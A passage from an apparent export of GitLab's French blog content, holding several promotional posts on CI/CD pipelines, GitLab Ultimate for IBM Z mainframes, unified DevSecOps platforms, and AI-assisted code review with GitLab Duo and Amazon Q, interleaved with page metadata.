peuvent également gérer les ressources cloud, déployer des applications et surveiller les services cloud directement depuis l'interface de GitLab. Les templates de déploiement cloud intégrés et les fonctionnalités [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) de la plateforme réduisent considérablement la complexité des déploiements cloud. Les membres de l'équipe peuvent ainsi se concentrer sur le développement d'applications plutôt que sur la gestion de l'infrastructure. Pour les entreprises qui souhaitent automatiser leur infrastructure informatique à l'aide de [GitOps](https://about.gitlab.com/fr-fr/topics/gitops/ \"Qu'est-ce que GitOps ?\"), GitLab propose l'[intégration Flux CD](https://about.gitlab.com/blog/why-did-we-choose-to-integrate-fluxcd-with-gitlab/).\n\nLes fonctionnalités cloud de GitLab vont au-delà de la simple automatisation des déploiements. L'[intégration Kubernetes](https://about.gitlab.com/fr-fr/blog/kubernetes-the-container-orchestration-solution/ \"Qu'est-ce que Kubernetes ?\") à la plateforme GitLab permet aux équipes de gérer l'orchestration des conteneurs entre plusieurs fournisseurs de services cloud. De plus, les [options d'installation cloud-native de GitLab](https://about.gitlab.com/fr-fr/topics/ci-cd/cloud-native-continuous-integration/) permettent à la plateforme elle-même de fonctionner dans des environnements cloud. Grâce à ces fonctionnalités cloud-native, les équipes peuvent mettre en œuvre des runners à mise à l'échelle automatique qui provisionnent dynamiquement les ressources cloud pour l'exécution de pipelines afin d'optimiser les coûts et les performances. Enfin, l'intégration de la plateforme avec les services de sécurité des fournisseurs de services cloud garantit le respect des exigences de sécurité et de conformité tout au long du processus de déploiement.\n\nPour les environnements multicloud, GitLab fournit des workflows et des outils cohérents, quel que soit le fournisseur de services cloud sous-jacent. Les équipes de développement peuvent utiliser les fonctionnalités de gestion de l'environnement de GitLab pour gérer différentes configurations cloud dans les environnements de développement, de préproduction et de production. La prise en charge de l'[Infrastructure as Code (IaC)](https://docs.gitlab.com/ee/user/infrastructure/iac/) de la plateforme GitLab, en particulier son intégration native avec Terraform, permet aux équipes de développement de contrôler les versions et d'automatiser le provisionnement de leur infrastructure cloud. Les fonctionnalités de surveillance et d'[observabilité](https://about.gitlab.com/fr-fr/blog/observability-vs-monitoring-in-devops/ \"Qu'est-ce que l'observabilité ?\") de GitLab s'intègrent aux indicateurs des fournisseurs de services cloud, offrant une visibilité complète de l'intégrité des applications et de l'infrastructure dans les différents environnements cloud.\n\n## Pipeline CI/CD avancé\n\nL'approche CI/CD a connu une évolution significative qui va bien au-delà de la simple construction et du déploiement de pipelines. Dans les mises en œuvre avancées, elle implique une orchestration sophistiquée des tests automatisés, du scanning de sécurité, du provisionnement de l'infrastructure, de l'IA et de bien d'autres aspects. Voici quelques stratégies CI/CD avancées pour aider les équipes d'ingénierie à améliorer leurs pipelines et à résoudre les problèmes qui surviennent, même lorsque la complexité de l'architecture augmente.\n\n### Réutilisation et automatisation des pipelines CI/CD\n\nGitLab révolutionne les pratiques des équipes de développement logiciel et de gestion des pipelines CI/CD en introduisant deux innovations majeures : le [catalogue CI/CD](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/) et [CI/CD Steps](https://about.gitlab.com/blog/introducing-ci-cd-steps-a-programming-language-for-devsecops-automation/). Ce dernier est un nouveau langage de programmation expérimental dédié à l'automatisation DevSecOps. Le catalogue CI/CD est une plateforme centralisée où les équipes peuvent découvrir, réutiliser et optimiser les différents composants CI/CD. Ces derniers fonctionnent comme des blocs de construction réutilisables et à usage unique qui simplifient la configuration des pipelines au sein des workflows CI/CD. Parallèlement, CI/CD Steps offre la possibilité de gérer des workflows complexes en permettant aux équipes de configurer les entrées et sorties pour chaque job CI/CD. Avec le catalogue CI/CD et CI/CD Steps, les équipes DevSecOps peuvent facilement standardiser l'approche CI/CD et ses composants, et ainsi simplifier le processus de développement et de maintenance des pipelines CI/CD.\n\n> Pour en savoir plus, consultez notre [FAQ sur le catalogue CI/CD](https://about.gitlab.com/blog/faq-gitlab-ci-cd-catalog/) et notre [documentation sur CI/CD Steps](https://docs.gitlab.com/ee/ci/steps/).\n\n### Dépannage des pipelines avec l'IA\n\nBien qu'une défaillance des pipelines CI/CD soit possible, le dépannage rapide du problème peut considérablement réduire son impact. L'analyse des causes profondes de [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/ \"Qu'est-ce que GitLab Duo ?\"), l'une des fonctionnalités alimentées par l'IA, élimine les hypothèses en [déterminant la cause profonde de l'échec d'un pipeline CI/CD](https://about.gitlab.com/fr-fr/blog/quickly-resolve-broken-ci-cd-pipelines-with-ai/ \"Échecs de pipelines CI/CD\"). Lorsqu'un pipeline échoue, GitLab fournit des job logs détaillés, des messages d'erreur et des traces d'exécution qui indiquent exactement où et pourquoi l'échec s'est produit. L'analyse des causes profondes utilise ensuite l'IA pour suggérer une solution.\n\nDécouvrez la fonctionnalité d'analyse des causes profondes de GitLab Duo en action :\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n\u003Ciframe src=\"https://www.youtube.com/embed/sTpSLwX5DIs?si=J6-0Bf6PtYjrHX1K\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Comment migrer son code vers un pipeline GitLab CI/CD ?\n\nLa migration vers la plateforme DevSecOps de GitLab et son pipeline CI/CD intégré implique l'analyse systématique de vos configurations de pipeline, dépendances et processus de déploiement existants pour les mapper aux fonctionnalités et à la syntaxe équivalentes de GitLab. \n\nConsultez nos ressources pour faciliter votre migration vers GitLab CI/CD : \n\n* [Migration de Bamboo vers GitLab CI/CD](https://about.gitlab.com/blog/migrating-from-bamboo-to-gitlab-cicd/)\n* [De Jenkins à GitLab : le guide complet pour moderniser votre environnement CI/CD](https://about.gitlab.com/blog/jenkins-gitlab-ultimate-guide-to-modernizing-cicd-environment/)\n* [Migrer de GitHub Advanced Security vers GitLab Ultimate : notre guide complet](https://about.gitlab.com/fr-fr/blog/migration-guide-github-advanced-security-to-gitlab-ultimate/)\n\n## Témoignages d'entreprises leaders dans leur domaine\n\nCes entreprises de premier plan ont migré vers GitLab et profitent des innombrables avantages de l'approche CI/CD. Découvrez leurs témoignages.\n\n* [Lockheed Martin](https://about.gitlab.com/fr-fr/customers/lockheed-martin/)\n* [Indeed](https://about.gitlab.com/fr-fr/blog/how-indeed-transformed-its-ci-platform-with-gitlab/)\n* [CARFAX](https://about.gitlab.com/fr-fr/customers/carfax/)\n* [HackerOne](https://about.gitlab.com/fr-fr/customers/hackerone/)\n* [Betstudios](https://about.gitlab.com/blog/betstudios-cto-on-improving-ci-cd-capabilities-with-gitlab-premium/)\n* [Thales et Carrefour](https://about.gitlab.com/blog/how-carrefour-and-thales-are-evolving-their-ci-cd-platforms/)\n\n## Tutoriels CI/CD\n\nDevenez un expert des pipelines CI/CD à l'aide de ces tutoriels : \n\n* [Intégration continue : créez votre premier pipeline CI avec GitLab](https://about.gitlab.com/fr-fr/blog/basics-of-gitlab-ci-updated/)\n* [Configuration de votre premier composant GitLab CI/CD](https://about.gitlab.com/blog/tutorial-how-to-set-up-your-first-gitlab-ci-cd-component/)\n* [GitLab CI/CD : comment créer facilement un pipeline pour un monorepo](https://about.gitlab.com/fr-fr/blog/building-a-gitlab-ci-cd-pipeline-for-a-monorepo-the-easy-way/)\n* [Déployer en continu dans de multiples environnements avec les pipelines enfants](https://about.gitlab.com/fr-fr/blog/using-child-pipelines-to-continuously-deploy-to-five-environments/)\n* [Refactorisation d'un template CI/CD en composant CI/CD](https://about.gitlab.com/blog/refactoring-a-ci-cd-template-to-a-ci-cd-component/)\n\n> ### Commencez un [essai de GitLab Ultimate](https://gitlab.com/-/trials/new) et essayez gratuitement GitLab CI/CD.",[110,784,1067,1069,673,676],{"slug":1091,"featured":92,"template":683},"ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation","content:fr-fr:blog:ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation.yml","Ultimate Guide To Ci Cd Fundamentals To Advanced Implementation","fr-fr/blog/ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation.yml","fr-fr/blog/ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation",{"_path":1097,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1098,"content":1101,"config":1112,"_id":1114,"_type":16,"title":1115,"_source":17,"_file":1116,"_stem":1117,"_extension":20},"/fr-fr/blog/gitlab-ultimate-for-ibm-z-modern-devsecops-for-mainframes",{"noIndex":6,"description":1099,"title":1100},"Découvrez comment l'intégration d'IBM à GitLab allie développement sur mainframe et cloud-native. ","GitLab Ultimate pour IBM Z : DevSecOps moderne sur mainframe",{"heroImage":1102,"body":1103,"authors":1104,"updatedDate":1107,"date":1108,"title":1109,"tags":1110,"description":1111,"category":676},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750440008/myqt5vcjlffh8sszw507.png","GitLab et IBM unissent leurs forces pour moderniser le développement logiciel sur mainframe. Ce partenariat permet aux équipes de développement mainframe de bénéficier des mêmes outils modernes, workflows et fonctionnalités collaboratives que ceux utilisés dans les environnements distribués. Baptisée GitLab Ultimate pour IBM Z, cette solution d'automatisation DevSecOps intégrée et certifiée par GitLab, adaptée à l'environnement mainframe, relève ce défi. Elle permet aux entreprises de moderniser leurs workflows de développement mainframe grâce à une migration sans accroc depuis les gestionnaires de bibliothèques hérités obsolètes. Avec des pipelines CI/CD exécutés de façon native sur IBM z/OS, ces entreprises sont en mesure d'innover plus rapidement et de réduire les coûts opérationnels.\n\n## Les défis actuels du développement sur mainframe\n\nLes entreprises qui utilisent les systèmes IBM Z pour leurs charges de travail critiques sont confrontées à des défis que les outils DevSecOps classiques ne sont pas en mesure de relever. Tandis que les équipes [cloud-native](https://about.gitlab.com/fr-fr/topics/cloud-native/ \"Qu'est-ce que cloud-native ?\") bénéficient de pipelines [CI/CD](https://about.gitlab.com/topics/ci-cd/) modernes, d'un développement collaboratif fluide et de tests automatisés, les équipes mainframe restent souvent confinées à des outils obsolètes, source d'inefficacités coûteuses et de silos opérationnels.\n\nElles ont souvent recours à des solutions de contournement, telles que les connexions SSH et les transferts manuels de fichiers, qui fragilisent la sécurité et complexifient les audits. Or, dans un contexte de conformité de plus en plus exigeant, ces pratiques improvisées s’exposent à des risques inacceptables. Par ailleurs, les entreprises maintiennent des chaînes d'outils parallèles coûteuses, reposant sur des outils de développement mainframe hérités aux coûts de licence élevés et aux fonctionnalités limitées par rapport aux alternatives modernes.\n\nCette fragmentation crée deux problèmes : des cycles de livraison de logiciels plus lents et une difficulté à attirer des développeurs, qui recherchent des environnements de travail modernes.\n\n> **« GitLab Ultimate pour IBM Z représente une avancée décisive pour résoudre une problématique à laquelle le secteur doit faire face depuis longtemps. D'après les recherches menées par IDC, les équipes de développement mainframe s'appuient encore largement sur des outils hérités qui contribuent à freiner les livraisons et compliquent l'acquisition de nouveaux talents. Avec cette offre conjointe, les fonctionnalités DevSecOps modernes et les workflows unifiés sont intégrés directement au mainframe. Résultat : une collaboration plus fluide et plus efficace pour les équipes de développement, et une accélération de l'innovation pour les entreprises, qui peuvent ainsi totalement intégrer le développement mainframe à leurs stratégies globales de transformation digitale. »** - Katie Norton, Research Manager, DevSecOps and Software Supply Chain Security chez IDC\n\n## Vers des environnements de développement unifiés\n\nUne véritable modernisation du développement mainframe nécessite de concevoir une plateforme unifiée où les équipes mainframe, cloud-native, web et mobile collaborent en harmonie. \n\nGitLab Ultimate pour IBM Z permet aux équipes de développement d'utiliser des workflows cohérents, qu'ils déploient sur z/OS, dans le cloud ou sur une infrastructure locale. Les connaissances sont ainsi transférées entre les équipes au lieu de rester cloisonnées. Les entreprises peuvent ainsi moderniser leurs pratiques progressivement, à leur propre rythme, sans interrompre leurs activités, car les systèmes hérités continuent de fonctionner.\n\nÀ l'heure où les architectures hybrides mêlant mainframe et développement cloud-native deviennent la norme, GitLab fournit une base robuste pour développer des applications entre ces différents environnements.\n\n## Qu'est-ce que GitLab Ultimate pour IBM Z ?\n\nGitLab Ultimate pour IBM Z offre une prise en charge native des runners sur z/OS et permet ainsi une exécution fluide et sécurisée de vos [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD?\") directement sur votre infrastructure mainframe. Cette solution certifiée par GitLab supprime le besoin de solutions de contournement complexes tout en maintenant la sécurité et la fiabilité que vos applications exigent. \n\nEn combinant la plateforme DevSecOps complète de GitLab avec l'expertise approfondie d'IBM en matière de mainframe, cette offre unique et certifiée connecte les systèmes hérités aux pratiques d'innovation cloud-native.\n\n## Quelles fonctionnalités offre GitLab Ultimate pour IBM Z ?\n\nGitLab Ultimate pour IBM Z fournit aux équipes de développement les outils dont elles ont besoin pour moderniser le développement mainframe tout en préservant la continuité des systèmes métier critiques. \n\nVoici les principales fonctionnalités de cette solution intégrée :\n\n**La prise en charge native des runners sur z/OS** : les pipelines CI/CD s'exécutent directement sur votre mainframe. Cette approche réduit les risques de sécurité et les goulots d'étranglement d'évolutivité associés aux connexions distantes, tout en accélérant les déploiements et les livraisons.\n\n**La gestion unifiée du code source** : votre chaîne d'outils est modernisée en remplaçant les outils de gestion de bibliothèques hérités coûteux par le système de dépôt consultable et le [contrôle de version](https://about.gitlab.com/fr-fr/topics/version-control/ \"Qu'est-ce que le contrôle de version ?\") de GitLab. Ainsi, vos coûts de licence et frais de maintenance sont réduits.\n\n**L'intégration fluide** avec IBM Developer for z/OS Enterprise Edition (IDzEE) : les cycles de livraison sont accélérés grâce à des compilations basées sur les dépendances, à une analyse automatique du code et à des outils de débogage complets, directement accessibles dans les environnements de développement habituels. Le tout améliore à la fois la qualité du code et la sécurité des applications, sans perturber les habitudes des équipes. \n\n**La visibilité complète** sur les environnements mainframe et distribués : une gestion complète des projets, de la planification à la production, permet d'automatiser les workflows DevOps et améliore l'expérience développeur grâce à des outils de développement modernes de nouvelle génération.\n\n## Modernisez votre environnement de développement mainframe dès aujourd'hui\n\nGitLab Ultimate pour IBM Z est désormais disponible pour les entreprises prêtes à transformer leur expérience de développement mainframe. Pour en savoir plus, consultez la [page dédiée au partenariat entre GitLab et IBM](https://about.gitlab.com/fr-fr/partners/technology-partners/ibm/).",[1105,1106],"Mike Flouton","Andy Bradfield","2025-06-30","2025-06-20","GitLab Ultimate pour IBM Z : le DevSecOps moderne sur mainframe",[285,676,110,784],"Découvrez comment l'intégration d'IBM à GitLab allie développement sur mainframe et cloud-native, avec prise en charge des runners CI/CD, visibilité complète et coûts réduits.",{"featured":92,"template":683,"slug":1113},"gitlab-ultimate-for-ibm-z-modern-devsecops-for-mainframes","content:fr-fr:blog:gitlab-ultimate-for-ibm-z-modern-devsecops-for-mainframes.yml","Gitlab Ultimate For Ibm Z Modern Devsecops For Mainframes","fr-fr/blog/gitlab-ultimate-for-ibm-z-modern-devsecops-for-mainframes.yml","fr-fr/blog/gitlab-ultimate-for-ibm-z-modern-devsecops-for-mainframes",{"_path":1119,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1120,"content":1126,"config":1131,"_id":1133,"_type":16,"title":1134,"_source":17,"_file":1135,"_stem":1136,"_extension":20},"/fr-fr/blog/why-are-organizations-moving-to-a-unified-devsecops-platform",{"ogTitle":1121,"schema":1122,"ogImage":1123,"ogDescription":1124,"ogSiteName":841,"noIndex":6,"ogType":842,"ogUrl":1125,"title":1121,"canonicalUrls":1125,"description":1124},"Pourquoi choisir une plateforme DevSecOps unifiée ?","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Pourquoi choisir une plateforme DevSecOps unifiée ?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Itzik Gan Baruch\"}],\n        \"datePublished\": \"2025-06-19\",\n      }\n                  ","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097063/Blog/Hero%20Images/Blog/Hero%20Images/securitylifecycle-light_securitylifecycle-light.png_1750097063583.png","Découvrez comment GitLab combine des outils et fonctionnalités avancés, une sécurité renforcée, tout en tirant parti de l'IA pour accélérer et optimiser le développement logiciel.","https://about.gitlab.com/blog/why-are-organizations-moving-to-a-unified-devsecops-platform",{"title":1121,"description":1124,"authors":1127,"heroImage":1123,"date":1128,"body":1129,"category":764,"tags":1130},[888],"2025-06-19","Face aux défis croissants du développement logiciel moderne, de nombreuses entreprises migrent vers le cloud et adoptent des processus DevSecOps. Elles sont cependant confrontées à un défi de taille : les nombreux outils et systèmes hérités ne sont pas adaptés à cette évolution et les obligent souvent à créer des intégrations complexes entre une multitude d'outils pour la gestion des tâches, les pipelines CI/CD, la sécurité, la surveillance, entre autres. Cette mosaïque d’outils entraîne une complexité opérationnelle, des coûts de maintenance élevés et freine la collaboration entre les équipes de développement et celles des opérations. Les développeurs, quant à eux, éprouvent de la frustration, car ils passent constamment d'un outil à l'autre pour un même workflow de développement, de la planification à la production.\n\n![Complexité et coûts opérationnels inhérents à l'intégration de plusieurs outils dans un processus DevSecOps](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097077/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097077287.jpg)\n\n\u003Ccenter>\u003Ci>Degré de complexité de l'intégration de plusieurs outils dans un processus DevSecOps\u003C/i>\u003C/center>\n\n\u003Cbr>\u003C/br>\n\nBonne nouvelle, une solution existe : une plateforme DevSecOps complète offrant une approche unifiée du développement logiciel.\n\nCette plateforme est conçue pour les entreprises opérant dans des environnements cloud et [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps?\") : tous les aspects du développement logiciel (gestion du code, processus CI/CD, gestion des tâches, sécurité, automatisation pilotée par l'IA) s'effectuent depuis une seule interface. Ainsi, tous les workflows sont centralisés, offrant aux équipes de développement et des opérations une collaboration optimisée, une communication rationalisée et une réduction significative des complexités et des perturbations opérationnelles.\n\nEn outre, l'expérience développeur s'améliore considérablement : les équipes d’ingénierie sont beaucoup plus heureuses de travailler avec un produit conçu spécifiquement pour les besoins du développement moderne.\n\nDécouvrez comment GitLab simplifie la gestion de projet, renforce la [sécurité et la conformité](https://about.gitlab.com/fr-fr/solutions/security-compliance/ \"Sécurité et conformité\"), et intègre l’IA pour transformer le développement logiciel et aider les équipes à surmonter les défis courants.\n\n## Gestion de projet Agile intégrée\n\nGitLab fournit une solution holistique qui rassemble toutes les fonctionnalités nécessaires pour la gestion des projets et des tâches. Cette intégration couvre toutes les étapes du développement logiciel, y compris les [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\"). Les équipes peuvent ainsi suivre en temps réel la progression du projet. Les tickets et les epics sont directement liés aux processus d'automatisation. De la planification au déploiement en production, toutes les étapes s'effectuent sans accroc. La transparence entre les équipes est ainsi renforcée, les retards sont réduits et toutes les parties prenantes ont une vision claire de l'état du développement en temps réel.\n\n![Les tickets et les epics sont directement liés aux processus d'automatisation. De la planification au déploiement en production, toutes les étapes s'effectuent sans accroc.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097077/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097077288.jpg)\n\n## Sécurité intégrée\n\nLa sécurité est au cœur de GitLab avec l'intégration de fonctionnalités de sécurité complètes. La plateforme intègre un large éventail de [scanners de sécurité](https://about.gitlab.com/fr-fr/blog/how-to-integrate-custom-security-scanners-into-gitlab/ \"Qu'est-ce qu'un scanner de securité ?\") automatisés, notamment :\n\n* [L'analyse des dépendances](https://docs.gitlab.com/user/application_security/dependency_scanning/)\n* [Les tests statiques de sécurité des applications (SAST)](https://docs.gitlab.com/user/application_security/sast/)\n* [Les tests dynamiques de sécurité des applications (DAST)](https://docs.gitlab.com/user/application_security/dast/)\n* [La détection des secrets](https://docs.gitlab.com/user/application_security/secret_detection/)\n* [L'analyse des conteneurs](https://docs.gitlab.com/user/application_security/container_scanning/)\n\n![Fonctionnalités de scanning de sécurité intégrées dans le processus CI/CD à différentes étapes du développement](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097077/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097077289.jpg)\n\n\u003Ccenter>\u003Ci>Fonctionnalités de scanning de sécurité intégrées dans le processus CI/CD à différentes étapes du développement\u003C/i>\u003C/center>\n\n\u003Cbr>\u003C/br>\n\nCes contrôles de sécurité sont intégrés à chaque étape du cycle de développement logiciel, y compris dans les pipelines CI/CD, et offrent aux équipes de développement des retours immédiats sur les failles de sécurité potentielles, et ce dès le début du cycle de développement.\n\n## Conformité et exigences réglementaires\n\nAu-delà de la productivité et de l'expérience utilisateur, de nombreuses entreprises, en particulier celles opérant dans les secteurs réglementés tels que les institutions financières ou les grands groupes, doivent s'assurer que leurs processus respectent des normes de sécurité et de conformité strictes. Elles doivent pouvoir appliquer des stratégies pour différents projets, par exemple en rendant obligatoire l'utilisation d'un scanner de sécurité chaque fois qu'un pipeline CI/CD s'exécute sur des branches de code spécifiques (par exemple, les branches principales ou protégées) ou en exigeant des approbations spécifiques avant de fusionner le code dans la branche principale.\n\nTout devient plus facile avec les [frameworks de conformité](https://about.gitlab.com/blog/introducing-custom-compliance-frameworks-in-gitlab/) de GitLab : cette fonctionnalité permet aux entreprises de définir et d'appliquer des stratégies structurées aux projets sélectionnés. Cette approche garantit la conformité en appliquant sans intervention manuelle des exigences réglementaires et de sécurité, tout en maintenant un workflow de développement fluide et efficace.\n\n## Développement alimenté par l'IA\n\n[GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/) offre une assistance pilotée par l'IA à chaque étape du développement logiciel. Par conséquent, aucun outil externe n'est nécessaire. Chaque requête alimentée par l'IA est traitée dans le contexte complet du projet et du code base, ce qui permet de travailler de façon plus intelligente et plus efficace.\n\nL'IA peut effectuer de nombreuses tâches, notamment :\n\n* Générer automatiquement des descriptions de tâches\n* Synthétiser les discussions des tickets pour gagner un temps précieux\n* Enrichir la revue de code\n* Suggérer des améliorations pour optimiser le code\n* Automatiser la génération de tests\n* Détecter et corriger les failles de sécurité\n* Réaliser une analyse des causes profondes en cas d'échec des pipelines CI\n* Garantir le respect de la confidentialité et la sécurité des données\n\nGrâce à sa compréhension des besoins des entreprises opérant dans les secteurs fortement réglementés, en particulier dans le [secteur public](https://about.gitlab.com/fr-fr/solutions/public-sector/) et le [secteur financier](https://about.gitlab.com/fr-fr/solutions/finance/), GitLab offre une plateforme unique qui permet d'exécuter des modèles d'IA dans un environnement sécurisé.\n\n[GitLab Duo Self-Hosted](https://about.gitlab.com/fr-fr/blog/gitlab-duo-self-hosted-enterprise-ai-built-for-data-privacy/ \"GitLab Duo Self-Hosted\") permet de garder un contrôle total sur la confidentialité des données, la sécurité et le déploiement de [grands modèles de langage (LLM)](https://about.gitlab.com/blog/what-is-a-large-language-model-llm/ \"Qu'est-ce qu'un grand modèle de language ?\") dans leur propre infrastructure et garantit ainsi :\n\n* La protection de la confidentialité des données\n* La conformité aux exigences réglementaires\n* Une sécurité maximale\n* Tous les avantages de l’IA, sans dépendre d’un réseau externe ni exposer vos systèmes à des risques\n\n## GitLab, une plateforme moderne et complète\n\nLes entreprises ont besoin d'une plateforme DevSecOps complète pour rationaliser leurs processus, renforcer la sécurité et accélérer l'innovation. C'est précisément ce qu'offre GitLab : une application unique, qui regroupe tous les outils essentiels aux équipes de développement, de sécurité et des opérations, avec une sécurité intégrée et une automatisation alimentée par l'IA.\n\nPour en savoir plus sur GitLab, découvrez nos démonstrations interactives :\n\n* [GitLab Premium et Ultimate avec GitLab Duo](https://gitlab.navattic.com/gitlab-premium-with-duo) : l'assistance au développement alimentée par l'IA\n* [La sécurité dans les pipelines CI/CD](https://gitlab.navattic.com/gitlab-scans) : l'analyse de sécurité intégrée qui protège vos logiciels\n* [Frameworks de conformité](https://gitlab.navattic.com/compliance) : des stratégies appliquées à l'ensemble des projets pour une meilleure gouvernance\n\n> Participez à notre événement virtuel à l'occasion du lancement de GitLab 18 et découvrez ce que vous réserve notre plateforme DevSecOps, notamment le rôle de l'[IA agentique](https://about.gitlab.com/fr-fr/topics/agentic-ai/ \"Qu'est-ce que l'IA agentique?\"). [Inscrivez-vous dès aujourd'hui !](https://about.gitlab.com/fr-fr/eighteen/)",[784,1067,676],{"slug":1132,"featured":6,"template":683},"why-are-organizations-moving-to-a-unified-devsecops-platform","content:fr-fr:blog:why-are-organizations-moving-to-a-unified-devsecops-platform.yml","Why Are Organizations Moving To A Unified Devsecops Platform","fr-fr/blog/why-are-organizations-moving-to-a-unified-devsecops-platform.yml","fr-fr/blog/why-are-organizations-moving-to-a-unified-devsecops-platform",{"_path":1138,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1139,"content":1145,"config":1151,"_id":1153,"_type":16,"title":1154,"_source":17,"_file":1155,"_stem":1156,"_extension":20},"/fr-fr/blog/speed-up-code-reviews-let-ai-handle-the-feedback-implementation",{"title":1140,"description":1141,"ogTitle":1140,"ogDescription":1141,"noIndex":6,"ogImage":1142,"ogUrl":1143,"ogSiteName":841,"ogType":842,"canonicalUrls":1143,"schema":1144},"Accélérez vos revues de code : l'IA gère les commentaires","Découvrez comment GitLab Duo combiné à Amazon Q automatise les commentaires de revues de code avec l'IA et simplifie ainsi les workflows fastidieux.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659604/Blog/Hero%20Images/Screenshot_2024-11-27_at_4.55.28_PM.png","https://about.gitlab.com/blog/speed-up-code-reviews-let-ai-handle-the-feedback-implementation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Accélérez vos revues de code : l'IA gère les commentaires\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2025-06-10\",\n      }",{"title":1140,"description":1141,"authors":1146,"heroImage":1142,"date":1147,"body":1148,"category":697,"tags":1149},[969],"2025-06-10","Vous connaissez cette sensation juste après avoir soumis votre merge request, quand les commentaires commencent à affluer ? Labels à revoir, privilégier un agencement côte à côte, passer le texte en gras, couleur du bouton à corriger… Très vite, vous passez des heures à appliquer des commentaires certes utiles, mais qui freinent le développement de nouvelles fonctionnalités. Un travail répétitif, bien connu des équipes de développement… Mais s'il existait une meilleure solution ?\n\nEt si un assistant d'IA pouvait comprendre les commentaires de revue de code et appliquer les modifications à votre place ? C'est exactement ce qu'apporte [GitLab Duo combiné à Amazon Q](https://about.gitlab.com/fr-fr/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/) à votre workflow de développement. Cette intégration fluide combine la plateforme DevSecOps complète de GitLab avec les fonctionnalités d'IA avancées d'Amazon Q, créant ainsi un assistant intelligent capable de lire les commentaires des relecteurs et de les convertir directement en modifications de code. Au lieu de traiter manuellement chaque commentaire, confiez cette tâche à l'IA et concentrez-vous sur l'essentiel.\n\n## Comment utiliser GitLab Duo combiné à Amazon Q ?\n\nLes commentaires des relecteurs sont intégrés là où ils s'appliquent, au cœur de votre merge request. Reprenons les exemples mentionnés plus tôt : vous avez reçu une demande pour modifier un label de formulaire, une autre pour afficher des champs côte à côte, ou encore pour mettre certains textes en gras. Chaque commentaire représente une tâche que vous devriez normalement gérer manuellement.\n\n![commentaires dans une MR](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673634/Blog/Content%20Images/1-show-comment.png)\n\nAvec GitLab Duo combiné à Amazon Q, il vous suffit de saisir l'action rapide `/q dev` dans un commentaire. Amazon Q analyse alors tous les commentaires et commence à modifier votre code automatiquement. L'agent d'IA comprend le contexte de chaque commentaire et implémente les modifications demandées directement dans votre code source.\n\n![fonction /q dev demandant à Amazon Q d'analyser les commentaires](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673634/Blog/Content%20Images/2-invoke-q-dev.png)\n\nAmazon Q applique les commentaires, et vous pouvez ensuite visualiser l'ensemble des modifications dans l'onglet « Modifications », pour vérifier que tout a bien été pris en compte. Il ne vous reste plus qu'à lancer l'application mise à jour pour tester que tout fonctionne : le label est modifié, les champs sont affichés côte à côte, le texte est en gras et le bouton est bien bleu.\n\nDécouvrez notre démonstration du processus d'intégration de commentaires dans la revue de code dans cette vidéo :\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\"> \u003Ciframe src=\"https://www.youtube.com/embed/31E9X9BrK5s?si=ThFywR34V3Bfj1Z-\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe> \u003C/figure>\n\u003C!-- blank line -->\n\nLa gestion des commentaires de revue de code est indispensable, mais souvent laborieuse.  GitLab Duo combiné à Amazon Q transforme cette étape en un workflow fluide et automatisé, pour gagner un temps précieux. En confiant ces ajustements répétitifs à l'IA, vous gagnez du temps pour ce qui compte vraiment : innover et résoudre des problèmes complexes.\n\nAvec GitLab Duo combiné à Amazon Q, vous pouvez :\n- Économiser des heures passées à intégrer manuellement des commentaires\n- Accélérer vos cycles de revue de code\n- Assurer une gestion cohérente des commentaires de revue\n- Réduire le changement de contexte entre la revue des commentaires et l'écriture du code\n- Livrer des fonctionnalités plus rapidement avec des temps de déploiement simplifiés\n\n> #### Pour approfondir vos connaissances sur GitLab Duo combiné à Amazon Q, participez à un [AWS Summit dans votre région](https://about.gitlab.com/fr-fr/events/aws-summits/) ou [contactez votre représentant GitLab](https://about.gitlab.com/fr-fr/partners/technology-partners/aws/).\n\n## Ressources dédiées à GitLab Duo combiné à Amazon Q\n\n- [GitLab Duo combiné à Amazon Q : l'IA agentique optimisée pour AWS est désormais disponible à tous les utilisateurs](https://about.gitlab.com/fr-fr/blog/gitlab-duo-with-amazon-q-agentic-ai-optimized-for-aws/)\n- [Page des solutions communes GitLab et AWS](https://about.gitlab.com/fr-fr/partners/technology-partners/aws/)\n- [Documentation dédiée à GitLab Duo combiné à 